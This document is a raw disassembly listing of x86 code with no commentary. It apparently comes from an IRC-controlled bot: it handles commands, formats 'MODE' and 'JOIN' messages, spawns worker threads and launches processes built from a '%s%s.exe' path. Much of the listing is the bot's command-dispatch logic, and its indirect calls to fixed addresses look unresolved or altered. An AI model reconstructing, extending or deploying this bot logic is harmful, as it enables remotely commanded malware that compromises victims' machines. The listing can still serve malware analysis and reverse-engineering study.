; ---------------------------------------------------------------------------
loc_407B55: ; CODE XREF: sub_401ACD+4EA3j
; sub_401ACD+4EBAj
push [ebp+arg_10]
call sub_41B779
mov [ebp+var_112C], eax
push 7Fh
lea eax, [ebp+var_1230]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
call sub_41B779
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push [ebp+var_88]
mov [ebp+var_1238], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A39C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset loc_4103AA
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407C41
loc_407C2B: ; CODE XREF: sub_401ACD+6172j
cmp [ebp+var_1118], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2650E43h
jmp short loc_407C2B
; ---------------------------------------------------------------------------
loc_407C41: ; CODE XREF: sub_401ACD+615Cj
call near ptr 2660A00h
nop
push eax
push offset unk_42A358
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407C52: ; CODE XREF: sub_401ACD+4E75j
; sub_401ACD+4E8Cj
push 0FFh
lea eax, [ebp+var_2878]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 0FFh
lea eax, [ebp+var_2778]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
mov [ebp+var_2674], ebx
call sub_41B779
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407CAB
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407CB1
; ---------------------------------------------------------------------------
loc_407CAB: ; CODE XREF: sub_401ACD+61C8j
mov [ebp+var_2668], ebx
loc_407CB1: ; CODE XREF: sub_401ACD+61DCj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407CC8
push esi
call sub_41B779
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407CCE
; ---------------------------------------------------------------------------
loc_407CC8: ; CODE XREF: sub_401ACD+61EAj
mov [ebp+var_266C], ebx
loc_407CCE: ; CODE XREF: sub_401ACD+61F9j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2660], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A32C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset loc_4163F9
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407D7F
loc_407D69: ; CODE XREF: sub_401ACD+62B0j
cmp [ebp+var_2658], ebx
jnz loc_407278
push 32h
nop
call near ptr 2650E43h
jmp short loc_407D69
; ---------------------------------------------------------------------------
loc_407D7F: ; CODE XREF: sub_401ACD+629Aj
nop
call near ptr 2660A00h
push eax
push offset unk_42A2EC
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407D90: ; CODE XREF: sub_401ACD+4E47j
; sub_401ACD+4E5Ej
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3410]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3390]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3310]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3288], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3494], esi
push [ebp+arg_10]
push offset unk_42A2B0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset byte_414A91
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407E67
loc_407E51: ; CODE XREF: sub_401ACD+6398j
cmp [ebp+var_3284], ebx
jnz loc_407278
push 32h
call near ptr 2650E43h
nop
jmp short loc_407E51
; ---------------------------------------------------------------------------
loc_407E67: ; CODE XREF: sub_401ACD+6382j
call near ptr 2660A00h
nop
push eax
push offset unk_42A278
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj
; sub_401ACD+4D31j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2FE8]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2F68]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2EE8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_306C], esi
push [ebp+arg_10]
push offset unk_42A248
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset dword_4137CC
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407F4F
loc_407F39: ; CODE XREF: sub_401ACD+6480j
cmp [ebp+var_2E5C], ebx
jnz loc_407278
push 32h
nop
call near ptr 2650E43h
jmp short loc_407F39
; ---------------------------------------------------------------------------
loc_407F4F: ; CODE XREF: sub_401ACD+646Aj
call near ptr 2660A00h
nop
push eax
push offset unk_42A210
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407F60: ; CODE XREF: sub_401ACD+4BF1j
; sub_401ACD+4C08j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3C64]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3BE4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3B64]
push [ebp+var_88]
push eax
call sub_41B5F0
push 20h
lea eax, [ebp+var_3AE4]
push [ebp+arg_8]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3CEC], esi
push [ebp+arg_10]
push offset unk_42A1E0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset byte_412A53
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408048
loc_408032: ; CODE XREF: sub_401ACD+6579j
cmp [ebp+var_3A5C], ebx
jnz loc_407278
push 32h
nop
call near ptr 2650E43h
jmp short loc_408032
; ---------------------------------------------------------------------------
loc_408048: ; CODE XREF: sub_401ACD+6563j
nop
call near ptr 2660A00h
push eax
push offset unk_42A1A8
jmp loc_407269
; ---------------------------------------------------------------------------
loc_408059: ; CODE XREF: sub_401ACD+4BC3j
; sub_401ACD+4BDAj
push 7Fh
lea eax, [ebp+var_1778]
push [ebp+arg_10]
push eax
call sub_41B5F0
push edi
call sub_41B779
push 3Fh
mov [ebp+var_1628], eax
push [ebp+arg_0]
lea eax, [ebp+var_16F8]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_4080A4
push 3Fh
lea eax, [ebp+var_16B8]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_4080A4: ; CODE XREF: sub_401ACD+65C3j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A178
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408130
loc_40811A: ; CODE XREF: sub_401ACD+6661j
cmp [ebp+var_161C], ebx
jnz loc_406CDE
push 32h
nop
call near ptr 2650E43h
jmp short loc_40811A
; ---------------------------------------------------------------------------
loc_408130: ; CODE XREF: sub_401ACD+664Bj
nop
call near ptr 2660A00h
push eax
push offset dword_42A13C
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_408141: ; CODE XREF: sub_401ACD+4B83j
; sub_401ACD+4B9Aj
push edi
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_408234
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi
push eax
call sub_41B980
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1D58], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A110
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset byte_412E9D
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408223
loc_408211: ; CODE XREF: sub_401ACD+6754j
cmp [ebp+var_1D54], ebx
jnz short loc_40828B
push 32h
call near ptr 2650E43h
nop
jmp short loc_408211
; ---------------------------------------------------------------------------
loc_408223: ; CODE XREF: sub_401ACD+6742j
call near ptr 2660A00h
nop
push eax
push offset unk_42A0D8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_408234: ; CODE XREF: sub_401ACD+6683j
push offset unk_42A0A0
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40823E: ; CODE XREF: sub_401ACD+4B55j
; sub_401ACD+4B6Cj
push edi
push [ebp+arg_10]
nop
call near ptr 2680B1Eh
test eax, eax
jz short loc_40826B
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset unk_42A07C
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_40828B
; ---------------------------------------------------------------------------
loc_40826B: ; CODE XREF: sub_401ACD+677Dj
push offset dword_42A070
call sub_41814C
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
loc_408288: ; CODE XREF: sub_401ACD+2F2Aj
; sub_401ACD+556Fj
add esp, 0Ch
loc_40828B: ; CODE XREF: sub_401ACD+2136j
; sub_401ACD+2ECCj ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4082A8: ; CODE XREF: sub_401ACD+57C6j
call sub_409A72
add esp, 14h
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_4082B5: ; CODE XREF: sub_401ACD+4B27j
; sub_401ACD+4B3Ej
push [ebp+arg_10]
lea eax, [ebp+var_3F04]
push 104h
push eax
call sub_41B980
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4082EF
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4082EF
push eax
lea eax, [ebp+var_3E00]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4082EF: ; CODE XREF: sub_401ACD+6802j
; sub_401ACD+6811j
push [ebp+var_88]
lea eax, [ebp+var_3F84]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset unk_42A040
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset byte_416CAD
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4083A1
loc_40838F: ; CODE XREF: sub_401ACD+68D2j
cmp [ebp+var_3CF0], ebx
jnz short loc_4083BC
push 32h
nop
call near ptr 2650E43h
jmp short loc_40838F
; ---------------------------------------------------------------------------
loc_4083A1: ; CODE XREF: sub_401ACD+68C0j
nop
call near ptr 2660A00h
push eax
push offset unk_42A004
loc_4083AD: ; CODE XREF: sub_401ACD+925j
; sub_401ACD+A63j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_4083BC: ; CODE XREF: sub_401ACD+7E1j
; sub_401ACD+94Cj ...
push 1
pop esi
jmp loc_406D02
; ---------------------------------------------------------------------------
loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j
; sub_401ACD+4B10j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41B590
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push [ebp+arg_10]
mov [ebp+var_63C], esi
call sub_41B779
add esp, 10h
cmp eax, esi
jnz short loc_408403
mov [ebp+var_638], 5
loc_408403: ; CODE XREF: sub_401ACD+692Bj
cmp [ebp+var_C], ebx
jz loc_406CDE
push edi
push [ebp+var_C]
call sub_41B900
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406CDE
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
nop
call near ptr 2640BCCh
test eax, eax
jnz short loc_40844C
push offset unk_429FE0
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40844C: ; CODE XREF: sub_401ACD+6973j
push edi
push offset dword_429FC4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_408457: ; CODE XREF: sub_401ACD+4ACBj
; sub_401ACD+4AE2j
push edi
push offset aDark ; "Dark"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085D0
lea eax, [ebp+var_48F0]
push eax
push 104h
nop
call near ptr 2680000h
push 0FFh
lea eax, [ebp+var_25D0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_17D0]
push eax
call sub_40AD80
add esp, 10h
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41B886
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_4084EC
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_4084F2
; ---------------------------------------------------------------------------
loc_4084EC: ; CODE XREF: sub_401ACD+6A09j
mov [ebp+var_23C0], ebx
loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_408509
push esi
call sub_41B779
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_40850F
; ---------------------------------------------------------------------------
loc_408509: ; CODE XREF: sub_401ACD+6A2Bj
mov [ebp+var_23C4], ebx
loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_23B8], eax
lea eax, [ebp+var_2C4]
push offset dword_429F8C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset loc_4163F9
push ebx
push ebx
call near ptr 2660000h
nop
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4085BF
loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j
cmp [ebp+var_23B0], ebx
jnz loc_406CDE
push 32h
nop
call near ptr 2650E43h
jmp short loc_4085A9
; ---------------------------------------------------------------------------
loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj
nop
call near ptr 2660A00h
push eax
push offset dword_429F50
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4085D0: ; CODE XREF: sub_401ACD+6999j
push offset dword_429F08
loc_4085D5: ; CODE XREF: sub_401ACD+2E73j
; sub_401ACD+457Cj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_406CDE
; ---------------------------------------------------------------------------
loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj
; sub_401ACD+4AB4j
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
push [ebp+arg_10]
call sub_41B779
add esp, 28h
test eax, eax
jle short loc_408673
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
pop ecx
push eax
nop
call near ptr 2650E43h
loc_408673: ; CODE XREF: sub_401ACD+6B8Ej
push offset dword_429EE4
call sub_4151AC
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408687: ; CODE XREF: sub_401ACD+4A6Fj
; sub_401ACD+4A86j
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C070
add esp, 10h
test eax, eax
push esi
jz short loc_408745
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset dword_429ECC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
test eax, eax
jle loc_409854
push [ebp+arg_10]
call sub_41B779
add eax, [ebp+arg_24]
pop ecx
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408745: ; CODE XREF: sub_401ACD+6BFAj
push offset unk_429E98
loc_40874A: ; CODE XREF: sub_401ACD+7542j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408759: ; CODE XREF: sub_401ACD+74CAj
; sub_401ACD+7623j
cmp [ebp+var_8], ebx
jnz short loc_40877A
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj
; sub_401ACD+72C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
jmp loc_409853
; ---------------------------------------------------------------------------
loc_40878B: ; CODE XREF: sub_401ACD+4A41j
; sub_401ACD+4A58j
push 7Fh
lea eax, [ebp+var_2214]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2194]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2114]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_208C], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_2218], esi
push offset unk_429E64
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset byte_4143CB
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40884B
loc_408839: ; CODE XREF: sub_401ACD+6D7Cj
cmp [ebp+var_2088], ebx
jnz short loc_408866
push 32h
nop
call near ptr 2650E43h
jmp short loc_408839
; ---------------------------------------------------------------------------
loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj
nop
call near ptr 2660A00h
push eax
push offset unk_429E28
loc_408857: ; CODE XREF: sub_401ACD+6E89j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408866: ; CODE XREF: sub_401ACD+6D72j
; sub_401ACD+6E6Dj
cmp [ebp+var_8], ebx
jnz loc_409630
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_409628
; ---------------------------------------------------------------------------
loc_408886: ; CODE XREF: sub_401ACD+4A13j
; sub_401ACD+4A2Aj
push 7Fh
lea eax, [ebp+var_23A8]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2328]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_22A8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_2220], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_23AC], esi
push offset dword_429DFC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset byte_413B77
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40894A
loc_408934: ; CODE XREF: sub_401ACD+6E7Bj
cmp [ebp+var_221C], ebx
jnz loc_408866
push 32h
nop
call near ptr 2650E43h
jmp short loc_408934
; ---------------------------------------------------------------------------
loc_40894A: ; CODE XREF: sub_401ACD+6E65j
call near ptr 2660A00h
nop
push eax
push offset dword_429DC0
jmp loc_408857
; ---------------------------------------------------------------------------
loc_40895B: ; CODE XREF: sub_401ACD+49E5j
; sub_401ACD+49FCj
push edi
lea eax, [ebp+var_2C4]
push offset dword_429DB8
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 10h
loc_408978: ; CODE XREF: sub_401ACD+6F16j
test eax, eax
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
loc_408994: ; CODE XREF: sub_401ACD+7A55j
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4089BF: ; CODE XREF: sub_401ACD+49B7j
; sub_401ACD+49CEj
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push edi
push offset dword_429DA4
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 14h
jmp short loc_408978
; ---------------------------------------------------------------------------
loc_4089E5: ; CODE XREF: sub_401ACD+4989j
; sub_401ACD+49A0j
push edi
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
mov esi, [ebp+arg_10]
push esi
call sub_41B779
add esp, 10h
test eax, eax
jle loc_409854
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset dword_429D88
loc_408A4B: ; CODE XREF: sub_401ACD+7009j
; sub_401ACD+7078j ...
call sub_415220
jmp loc_404933
; ---------------------------------------------------------------------------
loc_408A55: ; CODE XREF: sub_401ACD+495Bj
; sub_401ACD+4972j
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408A84
push esi
lea eax, [ebp+var_2C4]
push offset dword_429D80
push eax
call sub_41B886
add esp, 0Ch
loc_408A84: ; CODE XREF: sub_401ACD+6FA0j
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push esi
push edi
push offset dword_429D64
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408ADB: ; CODE XREF: sub_401ACD+492Dj
; sub_401ACD+4944j
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push esi
push offset dword_429DB0
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push esi
push edi
push offset dword_429D48
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408B4A: ; CODE XREF: sub_401ACD+48FFj
; sub_401ACD+4916j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push esi
push offset unk_429D20
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_408B86: ; CODE XREF: sub_401ACD+48D1j
; sub_401ACD+48E8j
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
push edi
push offset dword_429D14
push [ebp+arg_4]
call sub_409A2C
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
add esp, 10h
push eax
nop
call near ptr 2650E43h
push [ebp+esi+var_84]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_429D00
